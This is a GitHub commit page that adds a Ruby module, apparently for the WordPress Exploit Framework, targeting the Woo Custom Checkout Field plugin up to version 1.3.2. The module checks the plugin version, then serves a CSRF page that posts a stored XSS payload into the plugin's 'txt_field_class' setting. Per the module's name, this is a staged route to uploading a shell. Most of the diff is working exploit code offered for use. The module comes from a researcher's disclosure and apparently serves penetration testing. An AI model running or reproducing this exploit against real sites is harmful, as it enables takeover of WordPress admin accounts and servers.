Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 31bfb96

Browse files
committed
Add Woo Custom Checkout Field XSS module
1 parent 61716c2 commit 31bfb96

File tree

1 file changed

+41
-0
lines changed

1 file changed

+41
-0
lines changed
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
class Wpxf::Exploit::WooCustomCheckoutFieldXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Woo Custom Checkout Field <= 1.3.2 XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
11+
],
12+
references: [
13+
['URL', 'http://blog.rastating.com/woo-custom-checkout-field-1-3-2-csrf-stored-xss-disclosure']
14+
],
15+
date: 'Jul 23 2016'
16+
)
17+
end
18+
19+
def check
20+
check_plugin_version_from_changelog('woo-custom-checkout-field', 'readme.txt', '1.3.3')
21+
end
22+
23+
def vulnerable_url
24+
normalize_uri(wordpress_url_admin, 'admin.php')
25+
end
26+
27+
def initial_script
28+
%|<html><head></head><body><script>
29+
#{js_post}
30+
post('#{vulnerable_url}?page=ccf_settings_menu', {
31+
txt_field_name: '#{Utility::Text.rand_alpha(5)}',
32+
txt_field_class: '<script>#{xss_include_script}<\\/script>',
33+
txt_field_placeholder: '#{Utility::Text.rand_alpha(5)}',
34+
txt_field_type: 'text',
35+
txt_field_options: '',
36+
add_field: ''
37+
});
38+
</script></body></html>
39+
|
40+
end
41+
end

0 commit comments

Comments
 (0)